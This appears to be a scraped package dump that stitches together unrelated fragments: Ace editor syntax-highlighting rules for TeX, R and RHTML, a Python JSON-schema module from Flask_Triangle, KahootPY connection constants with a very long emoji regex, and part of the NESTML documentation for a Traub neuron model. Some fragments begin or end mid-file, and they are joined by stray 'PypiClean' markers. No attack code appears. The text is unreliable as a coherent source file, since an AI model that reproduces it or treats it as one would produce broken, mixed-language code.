var lang = require("../lib/lang");
var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules;
var TexHighlightRules = function(textClass) {
if (!textClass)
textClass = "text";
this.$rules = {
"start" : [
{
token : "comment",
regex : "%.*$"
}, {
token : textClass, // non-command
regex : "\\\\[$&%#\\{\\}]"
}, {
token : "keyword", // command
regex : "\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\b",
next : "nospell"
}, {
token : "keyword", // command
regex : "\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])"
}, {
token : "paren.keyword.operator",
regex : "[[({]"
}, {
token : "paren.keyword.operator",
regex : "[\\])}]"
}, {
token : textClass,
regex : "\\s+"
}
],
"nospell" : [
{
token : "comment",
regex : "%.*$",
next : "start"
}, {
token : "nospell." + textClass, // non-command
regex : "\\\\[$&%#\\{\\}]"
}, {
token : "keyword", // command
regex : "\\\\(?:documentclass|usepackage|newcounter|setcounter|addtocounter|value|arabic|stepcounter|newenvironment|renewenvironment|ref|vref|eqref|pageref|label|cite[a-zA-Z]*|tag|begin|end|bibitem)\\b"
}, {
token : "keyword", // command
regex : "\\\\(?:[a-zA-z0-9]+|[^a-zA-z0-9])",
next : "start"
}, {
token : "paren.keyword.operator",
regex : "[[({]"
}, {
token : "paren.keyword.operator",
regex : "[\\])]"
}, {
token : "paren.keyword.operator",
regex : "}",
next : "start"
}, {
token : "nospell." + textClass,
regex : "\\s+"
}, {
token : "nospell." + textClass,
regex : "\\w+"
}
]
};
};
oop.inherits(TexHighlightRules, TextHighlightRules);
exports.TexHighlightRules = TexHighlightRules;
});
ace.define("ace/mode/r_highlight_rules",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/text_highlight_rules","ace/mode/tex_highlight_rules"], function(require, exports, module)
{
var oop = require("../lib/oop");
var lang = require("../lib/lang");
var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules;
var TexHighlightRules = require("./tex_highlight_rules").TexHighlightRules;
var RHighlightRules = function()
{
var keywords = lang.arrayToMap(
("function|if|in|break|next|repeat|else|for|return|switch|while|try|tryCatch|stop|warning|require|library|attach|detach|source|setMethod|setGeneric|setGroupGeneric|setClass")
.split("|")
);
var buildinConstants = lang.arrayToMap(
("NULL|NA|TRUE|FALSE|T|F|Inf|NaN|NA_integer_|NA_real_|NA_character_|" +
"NA_complex_").split("|")
);
this.$rules = {
"start" : [
{
token : "comment.sectionhead",
regex : "#+(?!').*(?:----|====|####)\\s*$"
},
{
token : "comment",
regex : "#+'",
next : "rd-start"
},
{
token : "comment",
regex : "#.*$"
},
{
token : "string", // multi line string start
regex : '["]',
next : "qqstring"
},
{
token : "string", // multi line string start
regex : "[']",
next : "qstring"
},
{
token : "constant.numeric", // hex
regex : "0[xX][0-9a-fA-F]+[Li]?\\b"
},
{
token : "constant.numeric", // explicit integer
regex : "\\d+L\\b"
},
{
token : "constant.numeric", // number
regex : "\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d*)?i?\\b"
},
{
token : "constant.numeric", // number with leading decimal
regex : "\\.\\d+(?:[eE][+\\-]?\\d*)?i?\\b"
},
{
token : "constant.language.boolean",
regex : "(?:TRUE|FALSE|T|F)\\b"
},
{
token : "identifier",
regex : "`.*?`"
},
{
onMatch : function(value) {
if (keywords[value])
return "keyword";
else if (buildinConstants[value])
return "constant.language";
else if (value == '...' || value.match(/^\.\.\d+$/))
return "variable.language";
else
return "identifier";
},
regex : "[a-zA-Z.][a-zA-Z0-9._]*\\b"
},
{
token : "keyword.operator",
regex : "%%|>=|<=|==|!=|\\->|<\\-|\\|\\||&&|=|\\+|\\-|\\*|/|\\^|>|<|!|&|\\||~|\\$|:"
},
{
token : "keyword.operator", // infix operators
regex : "%.*?%"
},
{
token : "paren.keyword.operator",
regex : "[[({]"
},
{
token : "paren.keyword.operator",
regex : "[\\])}]"
},
{
token : "text",
regex : "\\s+"
}
],
"qqstring" : [
{
token : "string",
regex : '(?:(?:\\\\.)|(?:[^"\\\\]))*?"',
next : "start"
},
{
token : "string",
regex : '.+'
}
],
"qstring" : [
{
token : "string",
regex : "(?:(?:\\\\.)|(?:[^'\\\\]))*?'",
next : "start"
},
{
token : "string",
regex : '.+'
}
]
};
var rdRules = new TexHighlightRules("comment").getRules();
for (var i = 0; i < rdRules["start"].length; i++) {
rdRules["start"][i].token += ".virtual-comment";
}
this.addRules(rdRules, "rd-");
this.$rules["rd-start"].unshift({
token: "text",
regex: "^",
next: "start"
});
this.$rules["rd-start"].unshift({
token : "keyword",
regex : "@(?!@)[^ ]*"
});
this.$rules["rd-start"].unshift({
token : "comment",
regex : "@@"
});
this.$rules["rd-start"].push({
token : "comment",
regex : "[^%\\\\[({\\])}]+"
});
};
oop.inherits(RHighlightRules, TextHighlightRules);
exports.RHighlightRules = RHighlightRules;
});
ace.define("ace/mode/rhtml_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/r_highlight_rules","ace/mode/html_highlight_rules","ace/mode/text_highlight_rules"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var RHighlightRules = require("./r_highlight_rules").RHighlightRules;
var HtmlHighlightRules = require("./html_highlight_rules").HtmlHighlightRules;
var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules;
var RHtmlHighlightRules = function() {
HtmlHighlightRules.call(this);
this.$rules["start"].unshift({
token: "support.function.codebegin",
regex: "^<" + "!--\\s*begin.rcode\\s*(?:.*)",
next: "r-start"
});
this.embedRules(RHighlightRules, "r-", [{
token: "support.function.codeend",
regex: "^\\s*end.rcode\\s*-->",
next: "start"
}], ["start"]);
this.normalizeRules();
};
oop.inherits(RHtmlHighlightRules, TextHighlightRules);
exports.RHtmlHighlightRules = RHtmlHighlightRules;
});
ace.define("ace/mode/rhtml",["require","exports","module","ace/lib/oop","ace/mode/html","ace/mode/rhtml_highlight_rules"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var HtmlMode = require("./html").Mode;
var RHtmlHighlightRules = require("./rhtml_highlight_rules").RHtmlHighlightRules;
var Mode = function(doc, session) {
HtmlMode.call(this);
this.$session = session;
this.HighlightRules = RHtmlHighlightRules;
};
oop.inherits(Mode, HtmlMode);
(function() {
this.insertChunkInfo = {
value: "<!--begin.rcode\n\nend.rcode-->\n",
position: {row: 0, column: 15}
};
this.getLanguageMode = function(position)
{
return this.$session.getState(position.row).match(/^r-/) ? 'R' : 'HTML';
};
this.$id = "ace/mode/rhtml";
}).call(Mode.prototype);
exports.Mode = Mode;
}); | PypiClean |
/Flask_Triangle3-0.5.3-py3-none-any.whl/flask_triangle/schema/containers.py | import copy, jsonschema
from .base import BaseType
class Object(BaseType):
def __init__(self, min_properties=0, max_properties=False, required=False,
additional_properties=True, **kwargs):
super(Object, self).__init__('object', **kwargs)
self.min_properties = min_properties
self.max_properties = max_properties
self.additional_properties = additional_properties
self.required = required or []
self.properties = dict()
def __iter__(self):
yield (None, self)
for k, v in list(self.properties.items()):
if hasattr(v, 'properties'):
for sk, sv in v:
if sk is None:
yield (k, sv)
else:
yield ('{}.{}'.format(k, sk), sv)
else:
yield (k, v)
def __contains__(self, name):
if '.' not in name:
return name in self.properties
local, child = name.split('.', 1)
if local in self.properties:
return child in self.properties[local]
else:
return False
def __getitem__(self, name):
if '.' not in name:
return self.properties[name]
local, child = name.split('.', 1)
return self.properties[local][child]
def __setitem__(self, name, value):
if '.' not in name:
self.properties[name] = value
else:
local, child = name.split('.', 1)
if self.properties.get(local, None) is None:
self.properties[local] = Object()
self.properties[local][child] = value
def schema(self):
res = super(Object, self).schema()
if self.required: res['required'] = list(set(self.required))
if self.min_properties: res['minProperties'] = self.min_properties
if self.max_properties: res['maxProperties'] = self.max_properties
if self.additional_properties is not True:
res['additionalProperties'] = self.additional_properties
res['properties'] = dict([
(k, v.schema()) for k, v in list(self.properties.items())
])
return res
class Schema(Object):
def __init__(self, title=False, description=False, **kwargs):
super(Schema, self).__init__(**kwargs)
self.title = title
self.description = description
def schema(self):
res = super(Schema, self).schema()
if self.title: res['title'] = self.title
if self.description: res['description'] = self.description
return res
class Array(BaseType):
def __init__(self, items, min_items=0, max_items=False, unique_items=False,
**kwargs):
super(Array, self).__init__('array', **kwargs)
self.items = items
self.min_items = min_items
self.max_items = max_items
self.unique_items = unique_items
def schema(self):
res = super(Array, self).schema()
res['items'] = [item.schema() for item in self.items]
if self.min_items: res['minItems'] = self.min_items
if self.max_items: res['maxItems'] = self.max_items
if self.unique_items: res['uniqueItems'] = self.unique_items
return res | PypiClean |
/KahootPY-0.1.4.tar.gz/KahootPY-0.1.4/kahoot/src/consts.py | ENDPOINT_URI = "kahoot.it"
ENDPOINT_PORT = 443
TOKEN_ENDPOINT = "/reserve/session/"
CHALLENGE_ENDPOINT = "/rest/challenges/"
WSS_ENDPOINT = "wss://kahoot.it/cometd/"
CHANNEL_HANDSHAKE = "/meta/handshake"
CHANNEL_SUBSCR = "/meta/subscribe"
CHANNEL_UNSUBSCR = "/meta/unsubscribe"
CHANNEL_CONN = "/meta/connect"
SUPPORTED_CONNTYPES = (
"websocket",
"long-polling"
)
EMOJI_REGEX = "/\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62(?:\uDB40\uDC77\uDB40\uDC6C\uDB40\uDC73|\uDB40\uDC73\uDB40\uDC63\uDB40\uDC74|\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67)\uDB40\uDC7F|\uD83D\uDC69\u200D\uD83D\uDC69\u200D(?:\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67]))|\uD83D\uDC68(?:\uD83C\uDFFF\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFE])|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFE\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB-\uDFFD\uDFFF])|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFD\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFC\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFB\uDFFD-\uDFFF])|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFB\u200D(?:\uD83E\uDD1D\u200D\uD83D\uDC68(?:\uD83C[\uDFFC-\uDFFF])|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\u200D(?:\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D)?\uD83D\uDC68|(?:\uD83D[\uDC68\uDC69])\u200D(?:\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67]))|\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67])|(?:\uD83D[\uDC68\uDC69])\u200D(?:\uD83D[\uDC66\uDC67])|[\u2695\u2696\u2708]\uFE0F|\uD83D[\uDC66\uDC67]|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|(?:\uD83C\uDFFF\u200D[\u2695\u2696\u2708]|\uD83C\uDFFE\u200D[\u2695\u2696\u2708]|\uD83C\uDFFD\u200D[\u2695\u2696\u2708]|\uD83C\uDFFC\u200D[\u2695\u2696\u2708]|\uD83C\uDFFB\u200D[\u2695\u2696\u2708])\uFE0F|\uD83C[\uDFFB-\uDFFF])|\uD83E\uDDD1(?:(?:\uD83C[\uDFFB-\uDFFF])\u200D(?:\uD83E\uDD1D\u200D\uD83E\uDDD1(?:\uD83C[\uDFFB-\uDFFF])|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\u200D(?:\uD83E\uDD1D\u200D\uD83E\uDDD1|\uD83C[\uDF3E\uDF73\uDF7C\uDF84\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD]))|\uD83D\uDC69(?:\u200D(?:\u2764\uFE0F\u200D(?:\uD83D\uDC8B\u200D(?:\uD83D[\uDC68\uDC69])|\uD83D[\uDC68\uDC69])|\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFF\u200D(?:\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFE\u200D(?:\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFD\u200D(?:\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFC\u200D(?:\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD])|\uD83C\uDFFB\u200D(?:\uD83C[\uDF3E\uDF73\uDF7C\uDF93\uDFA4\uDFA8\uDFEB\uDFED]|\uD83D[\uDCBB\uDCBC\uDD27\uDD2C\uDE80\uDE92]|\uD83E[\uDDAF-\uDDB3\uDDBC\uDDBD]))|\uD83D\uDC69\uD83C\uDFFF\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69])(?:\uD83C[\uDFFB-\uDFFE])|\uD83D\uDC69\uD83C\uDFFE\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69])(?:\uD83C[\uDFFB-\uDFFD\uDFFF])|\uD83D\uDC69\uD83C\uDFFD\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69])(?:\uD83C[\uDFFB\uDFFC\uDFFE\uDFFF])|\uD83D\uDC69\uD83C\uDFFC\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69])(?:\uD83C[\uDFFB\uDFFD-\uDFFF])|\uD83D\uDC69\uD83C\uDFFB\u200D\uD83E\uDD1D\u200D(?:\uD83D[\uDC68\uDC69])(?:\uD83C[\uDFFC-\uDFFF])|\uD83D\uDC69\u200D\uD83D\uDC66\u200D\uD83D\uDC66|\uD83D\uDC69\u200D\uD83D\uDC69\u200D(?:\uD83D[\uDC66\uDC67])|(?:\uD83D\uDC41\uFE0F\u200D\uD83D\uDDE8|\uD83D\uDC69(?:\uD83C\uDFFF\u200D[\u2695\u2696\u2708]|\uD83C\uDFFE\u200D[\u2695\u2696\u2708]|\uD83C\uDFFD\u200D[\u2695\u2696\u2708]|\uD83C\uDFFC\u200D[\u2695\u2696\u2708]|\uD83C\uDFFB\u200D[\u2695\u2696\u2708]|\u200D[\u2695\u2696\u2708])|\uD83C\uDFF3\uFE0F\u200D\u26A7|\uD83E\uDDD1(?:(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2695\u2696\u2708]|\u200D[\u2695\u2696\u2708])|\uD83D\uDC3B\u200D\u2744|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC70\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD35\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD-\uDDCF\uDDD6-\uDDDD])(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2640\u2642]|(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)(?:\uFE0F\u200D[\u2640\u2642]|(?:\uD83C[\uDFFB-\uDFFF])\u200D[\u2640\u2642])|\uD83C\uDFF4\u200D\u2620|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E-\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD35\uDD37-\uDD39\uDD3C-\uDD3E\uDDB8\uDDB9\uDDCD-\uDDCF\uDDD6-\uDDDF])\u200D[\u2640\u2642])\uFE0F|\uD83D\uDC69\u200D\uD83D\uDC67\u200D(?:\uD83D[\uDC66\uDC67])|\uD83C\uDFF3\uFE0F\u200D\uD83C\uDF08|\uD83D\uDC69\u200D\uD83D\uDC67|\uD83D\uDC69\u200D\uD83D\uDC66|\uD83D\uDC15\u200D\uD83E\uDDBA|\uD83C\uDDFD\uD83C\uDDF0|\uD83C\uDDF6\uD83C\uDDE6|\uD83C\uDDF4\uD83C\uDDF2|\uD83D\uDC08\u200D\u2B1B|\uD83E\uDDD1(?:\uD83C[\uDFFB-\uDFFF])|\uD83D\uDC69(?:\uD83C[\uDFFB-\uDFFF])|\uD83C\uDDFF(?:\uD83C[\uDDE6\uDDF2\uDDFC])|\uD83C\uDDFE(?:\uD83C[\uDDEA\uDDF9])|\uD83C\uDDFC(?:\uD83C[\uDDEB\uDDF8])|\uD83C\uDDFB(?:\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDEE\uDDF3\uDDFA])|\uD83C\uDDFA(?:\uD83C[\uDDE6\uDDEC\uDDF2\uDDF3\uDDF8\uDDFE\uDDFF])|\uD83C\uDDF9(?:\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDED\uDDEF-\uDDF4\uDDF7\uDDF9\uDDFB\uDDFC\uDDFF])|\uD83C\uDDF8(?:\uD83C[\uDDE6-\uDDEA\uDDEC-\uDDF4\uDDF7-\uDDF9\uDDFB\uDDFD-\uDDFF])|\uD83C\uDDF7(?:\uD83C[\uDDEA\uDDF4\uDDF8\uDDFA\uDDFC])|\uD83C\uDDF5(?:\uD83C[\uDDE6\uDDEA-\uDDED\uDDF0-\uDDF3\uDDF7-\uDDF9\uDDFC\uDDFE])|\uD83C\uDDF3(?:\uD83C[\uDDE6\uDDE8\uDDEA-\uDDEC\uDDEE\uDDF1\uDDF4\uDDF5\uDDF7\uDDFA\uDDFF])|\uD83C\uDDF2(?:\uD83C[\uDDE6\uDDE8-\uDDED\uDDF0-\uDDFF])|\uD83C\uDDF1(?:\uD83C[\uDDE6-\uDDE8\uDDEE\uDDF0\uDDF7-\uDDFB\uDDFE])|\uD83C\uDDF0(?:\uD83C[\uDDEA\uDDEC-\uDDEE\uDDF2\uDDF3\uDDF5\uDDF7\uDDFC\uDDFE\uDDFF])|\uD83C\uDDEF(?:\uD83C[\uDDEA\uDDF2\uDDF4\uDDF5])|\uD83C\uDDEE(?:\uD83C[\uDDE8-\uDDEA\uDDF1-\uDDF4\uDDF6-\uDDF9])|\uD83C\uDDED(?:\uD83C[\uDDF0\uDDF2\uDDF3\uDDF7\uDDF9\uDDFA])|\uD83C\uDDEC(?:\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEE\uDDF1-\uDDF3\uDDF5-\uDDFA\uDDFC\uDDFE])|\uD83C\uDDEB(?:\uD83C[\uDDEE-\uDDF0\uDDF2\uDDF4\uDDF7])|\uD83C\uDDEA(?:\uD83C[\uDDE6\uDDE8\uDDEA\uDDEC\uDDED\uDDF7-\uDDFA])|\uD83C\uDDE9(?:\uD83C[\uDDEA\uDDEC\uDDEF\uDDF0\uDDF2\uDDF4\uDDFF])|\uD83C\uDDE8(?:\uD83C[\uDDE6\uDDE8\uDDE9\uDDEB-\uDDEE\uDDF0-\uDDF5\uDDF7\uDDFA-\uDDFF])|\uD83C\uDDE7(?:\uD83C[\uDDE6\uDDE7\uDDE9-\uDDEF\uDDF1-\uDDF4\uDDF6-\uDDF9\uDDFB\uDDFC\uDDFE\uDDFF])|\uD83C\uDDE6(?:\uD83C[\uDDE8-\uDDEC\uDDEE\uDDF1\uDDF2\uDDF4\uDDF6-\uDDFA\uDDFC\uDDFD\uDDFF])|[#*0-9]\uFE0F\u20E3|(?:\uD83C[\uDFC3\uDFC4\uDFCA]|\uD83D[\uDC6E\uDC70\uDC71\uDC73\uDC77\uDC81\uDC82\uDC86\uDC87\uDE45-\uDE47\uDE4B\uDE4D\uDE4E\uDEA3\uDEB4-\uDEB6]|\uD83E[\uDD26\uDD35\uDD37-\uDD39\uDD3D\uDD3E\uDDB8\uDDB9\uDDCD-\uDDCF\uDDD6-\uDDDD])(?:\uD83C[\uDFFB-\uDFFF])|(?:\u26F9|\uD83C[\uDFCB\uDFCC]|\uD83D\uDD75)(?:\uD83C[\uDFFB-\uDFFF])|(?:[\u261D\u270A-\u270D]|\uD83C[\uDF85\uDFC2\uDFC7]|\uD83D[\uDC42\uDC43\uDC46-\uDC50\uDC66\uDC67\uDC6B-\uDC6D\uDC72\uDC74-\uDC76\uDC78\uDC7C\uDC83\uDC85\uDCAA\uDD74\uDD7A\uDD90\uDD95\uDD96\uDE4C\uDE4F\uDEC0\uDECC]|\uD83E[\uDD0C\uDD0F\uDD18-\uDD1C\uDD1E\uDD1F\uDD30-\uDD34\uDD36\uDD77\uDDB5\uDDB6\uDDBB\uDDD2-\uDDD5])(?:\uD83C[\uDFFB-\uDFFF])|(?:[\u231A\u231B\u23E9-\u23EC\u23F0\u23F3\u25FD\u25FE\u2614\u2615\u2648-\u2653\u267F\u2693\u26A1\u26AA\u26AB\u26BD\u26BE\u26C4\u26C5\u26CE\u26D4\u26EA\u26F2\u26F3\u26F5\u26FA\u26FD\u2705\u270A\u270B\u2728\u274C\u274E\u2753-\u2755\u2757\u2795-\u2797\u27B0\u27BF\u2B1B\u2B1C\u2B50\u2B55]|\uD83C[\uDC04\uDCCF\uDD8E\uDD91-\uDD9A\uDDE6-\uDDFF\uDE01\uDE1A\uDE2F\uDE32-\uDE36\uDE38-\uDE3A\uDE50\uDE51\uDF00-\uDF20\uDF2D-\uDF35\uDF37-\uDF7C\uDF7E-\uDF93\uDFA0-\uDFCA\uDFCF-\uDFD3\uDFE0-\uDFF0\uDFF4\uDFF8-\uDFFF]|\uD83D[\uDC00-\uDC3E\uDC40\uDC42-\uDCFC\uDCFF-\uDD3D\uDD4B-\uDD4E\uDD50-\uDD67\uDD7A\uDD95\uDD96\uDDA4\uDDFB-\uDE4F\uDE80-\uDEC5\uDECC\uDED0-\uDED2\uDED5-\uDED7\uDEEB\uDEEC\uDEF4-\uDEFC\uDFE0-\uDFEB]|\uD83E[\uDD0C-\uDD3A\uDD3C-\uDD45\uDD47-\uDD78\uDD7A-\uDDCB\uDDCD-\uDDFF\uDE70-\uDE74\uDE78-\uDE7A\uDE80-\uDE86\uDE90-\uDEA8\uDEB0-\uDEB6\uDEC0-\uDEC2\uDED0-\uDED6])|(?:[#*0-9\xA9\xAE\u203C\u2049\u2122\u2139\u2194-\u2199\u21A9\u21AA\u231A\u231B\u2328\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638-\u263A\u2640\u2642\u2648-\u2653\u265F\u2660\u2663\u2665\u2666\u2668\u267B\u267E\u267F\u2692-\u2697\u2699\u269B\u269C\u26A0\u26A1\u26A7\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753-\u2755\u2757\u2763\u2764\u2795-\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05-\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]|\uD83C[\uDC04\uDCCF\uDD70\uDD71\uDD7E\uDD7F\uDD8E\uDD91-\uDD9A\uDDE6-\uDDFF\uDE01\uDE02\uDE1A\uDE2F\uDE32-\uDE3A\uDE50\uDE51\uDF00-\uDF21\uDF24-\uDF93\uDF96\uDF97\uDF99-\uDF9B\uDF9E-\uDFF0\uDFF3-\uDFF5\uDFF7-\uDFFF]|\uD83D[\uDC00-\uDCFD\uDCFF-\uDD3D\uDD49-\uDD4E\uDD50-\uDD67\uDD6F\uDD70\uDD73-\uDD7A\uDD87\uDD8A-\uDD8D\uDD90\uDD95\uDD96\uDDA4\uDDA5\uDDA8\uDDB1\uDDB2\uDDBC\uDDC2-\uDDC4\uDDD1-\uDDD3\uDDDC-\uDDDE\uDDE1\uDDE3\uDDE8\uDDEF\uDDF3\uDDFA-\uDE4F\uDE80-\uDEC5\uDECB-\uDED2\uDED5-\uDED7\uDEE0-\uDEE5\uDEE9\uDEEB\uDEEC\uDEF0\uDEF3-\uDEFC\uDFE0-\uDFEB]|\uD83E[\uDD0C-\uDD3A\uDD3C-\uDD45\uDD47-\uDD78\uDD7A-\uDDCB\uDDCD-\uDDFF\uDE70-\uDE74\uDE78-\uDE7A\uDE80-\uDE86\uDE90-\uDEA8\uDEB0-\uDEB6\uDEC0-\uDEC2\uDED0-\uDED6])\uFE0F|(?:[\u261D\u26F9\u270A-\u270D]|\uD83C[\uDF85\uDFC2-\uDFC4\uDFC7\uDFCA-\uDFCC]|\uD83D[\uDC42\uDC43\uDC46-\uDC50\uDC66-\uDC78\uDC7C\uDC81-\uDC83\uDC85-\uDC87\uDC8F\uDC91\uDCAA\uDD74\uDD75\uDD7A\uDD90\uDD95\uDD96\uDE45-\uDE47\uDE4B-\uDE4F\uDEA3\uDEB4-\uDEB6\uDEC0\uDECC]|\uD83E[\uDD0C\uDD0F\uDD18-\uDD1F\uDD26\uDD30-\uDD39\uDD3C-\uDD3E\uDD77\uDDB5\uDDB6\uDDB8\uDDB9\uDDBB\uDDCD-\uDDCF\uDDD1-\uDDDD])/g" | PypiClean |
/NESTML-5.3.0-py3-none-any.whl/NESTML-5.3.0.data/data/doc/models_library/traub_cond_multisyn.rst | traub_cond_multisyn
###################
traub_cond_multisyn - Traub model according to Borgers 2017
Description
+++++++++++
Reduced Traub-Miles Model of a Pyramidal Neuron in Rat Hippocampus [1]_.
parameters got from reference [2]_ chapter 5.
AMPA, NMDA, GABA_A, and GABA_B conductance-based synapses with
beta-function (difference of two exponentials) time course corresponding
to "hill_tononi" model.
References
++++++++++
.. [1] R. D. Traub and R. Miles, Neuronal Networks of the Hippocampus,Cam- bridge University Press, Cambridge, UK, 1991.
.. [2] Borgers, C., 2017. An introduction to modeling neuronal dynamics (Vol. 66). Cham: Springer.
See also
++++++++
hh_cond_exp_traub
Parameters
++++++++++
.. csv-table::
:header: "Name", "Physical unit", "Default value", "Description"
:widths: auto
"t_ref", "ms", "2.0ms", "Refractory period 2.0"
"g_Na", "nS", "10000.0nS", "Sodium peak conductance"
"g_K", "nS", "8000.0nS", "Potassium peak conductance"
"g_L", "nS", "10nS", "Leak conductance"
"C_m", "pF", "100.0pF", "Membrane Capacitance"
"E_Na", "mV", "50.0mV", "Sodium reversal potential"
"E_K", "mV", "-100.0mV", "Potassium reversal potentia"
"E_L", "mV", "-67.0mV", "Leak reversal Potential (aka resting potential)"
"V_Tr", "mV", "-20.0mV", "Spike Threshold"
"AMPA_g_peak", "nS", "0.1nS", "Parameters for synapse of type AMPA, GABA_A, GABA_B and NMDApeak conductance"
"AMPA_E_rev", "mV", "0.0mV", "reversal potential"
"tau_AMPA_1", "ms", "0.5ms", "rise time"
